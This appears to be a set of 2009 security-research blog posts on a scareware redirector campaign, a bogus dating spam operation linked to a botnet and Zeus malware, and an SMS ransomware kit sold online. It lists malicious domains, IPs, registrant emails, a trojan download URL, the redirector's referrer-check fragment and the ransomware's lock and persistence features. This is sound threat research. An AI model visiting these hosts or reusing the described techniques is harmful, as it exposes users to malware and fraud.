Upon hijacking legitimate traffic and verifying that the visitor is coming from var se = new Array("google.","msn.","yahoo.","comcast.","aol", the redirector then takes us to macrosoftwarego .com; live-payment-system .com - 83.133.123.140 Email: fabian@ingenovate.com, and to antimalware-live-scanv3 .com - 38.99.170.9; 78.47.91.153; 83.133.115.9; 89.47.237.52; 91.212.65.125 Email: immigration.beijing@footer.cn where the scareware is served.

Scareware domains (delegated) part of their campaigns which as of recently diversity to Lycos owned is-the-boss.com:
anti-spyware-scan-v1 .com - ns1.futureselfdeeds .com (78.47.88.217)
malware-live-pro-scanv1 .com
premiumlivescanv1 .com
malwareliveproscanv1 .com
antiviruspcscannerv1 .com
malwareliveproscannerv1 .com
freeantispywarescan2 .com
antiviruspremiumscanv2 .com
proantivirusscanv2 .com
antiviruspaymentsystem .com
macrosoftwarego .com
advanedmalwarescanner .com
advanedpromalwarescanner .com
futureselfdeeds .com
allinternetfreebies .com
liveinternetupdates .com
momentstohaveyou .cn


Rephrasing the Cardigans Love Fool song - Common sense tells me I shouldn't bother, and I ought to stick to another blackhat SEO campaign, a blackhat SEO campaign that surely deserves me, but I think you folks do.

Thanks to Sean-Paul Correll from PandaLabs for the tip. Continue reading →

Dating Spam Campaign Promotes Bogus Dating Agency - Part Two

0
June 02, 2009
Your future template-based wife is here, waiting not only for you, but also, for the hundreds of thousands of spammed gullible future husbands.

Our "dear friends" at Confidential Connections are at it again - spamming out bogus dating profiles, introducing new domains and inevitably exposing the phony company's connections with managed spam services operated by money mules, and sharing DNS servers with more cybercrime-facilitating parties.

As in their previous campaigns, they're spamming from LRouen-152-82-6-202.w80-13.abo.wanadoo.fr [80.13.101.202], and here's the most recent portfolio of domains used in the spam campaigns parked at 62.90.136.207:

dating-forin-loved .com - Email: deolserdo@safe-mail.net
matchwithworld .com - Email: esheodin@safe-mail.net
love-f-emale .com - Email: lo3664570460504@absolutee.com
i-amsingle .com - Email: i-3685838623704@absolutee.com
for-you-from-me .com - Email: PabloStantonXW@gmail.com
love-me-long-time .com - Email: lo3685839114104@absolutee.com
destinycombine .com - Email: esheodin@safe-mail.net
you-isnot-alone .com - Email: SamNilsenson@gmail.com
find-some-love .com - Email: SamNilsenson@gmail.com
find-thereal-love .com - Email: deolserdo@safe-mail.net
 
all-hot-love .com - Email: sup3portne3west@safe-mail.net
find-the-reallove .com - Email: fi3653005547304@absolutee.com
sweet-hearts-dating .com - Email: SamNilsenson@gmail.com
my-great-dating .com - Email: SamNilsenson@gmail.com
yourmatchwith .com - Email: esheodin@safe-mail.net
loking-for-aman .com - Email: lo3653004406804@absolutee.com
myloving-heart .com - Email: my3685835605504@absolutee.com
beautiful-prettywoman .com - Email: JosiahMillerTP@gmail.com
buildyour-happylove .net - Email: bu3664569267104@absolutee.com
adorelovewon .com - Email: supportnewest@safe-mail.net
andiloveyoutoo .com - Email: enorst10@yahoo.com
 
myloveamour .com - Email: supportnewest@safe-mail.net
luckyheatrs .com - Email: neujelivsamomdeli@gmail.com
just-waiting-foryou .com - Email: SamNilsenson@gmail.com
dreams-about-lady .com - Email: JosiahMillerTP@gmail.com
inspiredlove .net - Email: antonkovalchukk@gmail.com
make-family .net - Email: JosiahMillerTP@gmail.com
createyourlove .net
fillinglove .net

Let's connect the dots, shall we? Notice some of the registrant's emails, namely supportnewest@safe-mail.net and sup3portne3west@safe-mail.net. It gets even more interesting taking into consideration the fact that the money laundering group's botnet command and control domain was registered to supp3ortnewest@safe-mail.net. Moreover, among the unique usernames used exclusively by this botnet, was in fact the one used in Confidential Connections spam campaigns, confirming their connection.

Naturally, Confidential Connections are also rubbing shoulders with more cybercrime facilitating domains sharing the same DNS infrastructure (ns1.srv .com).

For instance, superfuturebiz .com/maingovermnfer5 .com (Trojan-Spy.Win32.Zbot.uyn) where a Trojan-Spy.Win32.Zbot.uyn is hosted at maingovermnfer5 .com/anyfldr/demo.exe which once executed attempts to download Zeus crimeware from maingovermnfer5 .com/anyfldr/cfg.bin.

Moreover, carder-shop .com which is an ex-Atrivo darling, yourmagicpills .com which is a typical pharmaceutical scam, zaikib .in a malware command and control, and eefs .info which is a phony "East Europe Financial System" and looks like a typical money mule recruitment operation. Continue reading →

3rd SMS Ransomware Variant Offered for Sale

0
May 27, 2009
The concept of ransomware is clearly making a comeback. During the past two months, scareware met the ransomware business model in the face of File Fix Professional 2009 and FakeAlert-CO or System Security, followed by two separate SMS-based ransomware variants Trj/SMSlock.A and a modified version of it.

The very latest one is once again offered for sale, with a social engineering theme attempting to trick the infected user that as of 1st of May Microsoft is launching a new anti-pirates initiative, and that unless a $1 SMS is sent in order to receive the deactivation code back, their copy of Windows will remain locked.

Key features:
Support for Windows 98/Vista
- Blocks the entire desktop
- Locks system key combinations attempting to remove it
- Copied to the system folder (the file is almost impossible to find)
- Can be put in the startup
- Launches the blocking system before the desktop appears upon reboot 
- Blocks all windows including the Task Manager
- Upon entering the secret code, the ransomware is removed from the system folder and autorun

The price for a custom-made version with the customer's own SMS data is $10, with $5 per new (undetected) copy, as well as the complete source code available for $50 again from the same vendor.

From a "visual social engineering" perspective, the one that make scareware what it is as product -- a product which would have scaled so fast if it wasn't the distribution channel in the form of web site compromises and blackhat SEO at the first place -- the latest SMS ransomware variant lacks any significant key visual features which can compete with for instance, the DIY fake Windows XP activation trojan and its 2.0 version.

With the emerging localization on demand services offering translations for phishing, spam and malware campaigns into popular international languages, it wouldn't take long before the SMS ransomware starts targeting English-speaking users next to the hardcoded Russian speaking ones for the time being. Continue reading →